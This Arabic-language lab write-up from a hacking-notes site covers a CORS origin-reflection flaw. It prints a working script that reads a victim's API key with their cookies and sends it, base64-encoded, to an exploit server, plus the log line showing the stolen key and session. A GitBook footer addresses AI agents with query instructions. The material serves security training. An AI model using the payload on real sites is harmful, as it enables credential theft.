> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cors/cors-basic-origin-reflection.md).

# انعكاس CORS الأساسي للأصل

### ثغرة CORS مع انعكاس أساسي للأصل

استخدام إعداد CORS متساهلًا أكثر من اللازم (يثق الخادم بأي أصل) لاستخراج مفتاح API من المسؤول عبر طلب عبر أصل مختلف باستخدام `بيانات الاعتماد` وإرسال الاستجابة إلى خادم الاستغلال الخاص بنا. تُحلّ التمرين عند إرسال مفتاح API الخاص بالمشرف إلى خادم الاستغلال.

<figure><img src="/files/49e38d51681e4485d0d2183b99e5b0355f5e9b84" alt=""><figcaption></figcaption></figure>

* بيانات الاعتماد المقدمة للاتصال: `wiener:peter`.
* يعيد كود الصفحة استرجاع مفتاح API من `/accountDetails` ويعرض:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/f38fde95157934d003ff84fb8191ce929737c19d" alt=""><figcaption></figcaption></figure>

تشير الترويسات إلى `Access-Control-Allow-Credentials: true` (يقبل الخادم الطلبات التي تحتوي على ملفات تعريف الارتباط/بيانات الاعتماد).

<figure><img src="/files/ba1a63b13d348811e843f90697cf99a9b78aa307" alt=""><figcaption></figcaption></figure>

* عند اختبار طلب باستخدام `Origin: jord4n.pro` الترويسة، يتم إرجاع الإجابة (ويتم قبول الأصل المنعكس).

```javascript
Origin: jord4n.pro
```

* يعكس الخادم/يسمح بالأصل المُرسل، لذا يمكن لصفحة يسيطر عليها المهاجم تنفيذ `XMLHttpRequest` أو `fetch` إلى `/accountDetails` من خلال تضمين ملفات تعريف الارتباط الخاصة بالضحية (`withCredentials = true`) واسترجاع استجابة JSON التي تحتوي على مفتاح API.

<figure><img src="/files/25186d8a33ce4130363417bcd4734d92ea610c35" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/3cd93bf27b3f7fbf2275c9cdb3cbb55f082bb7f6" alt="" width="483"><figcaption></figcaption></figure>

بمجرد قراءة الإجابة، يمكن إرسالها إلى الخادم (مثلاً بترميز base64) لاستخلاصها.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/48436b4b57271b4832cd869835317eec88bff6af" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (الضحية) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

استقبل الخادم التشغيلي طلب GET يحتوي على الاستجابة المشفرة، على سبيل المثال:

<figure><img src="/files/79437be2db57bf6ac40bccb1df5957ae433addf1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
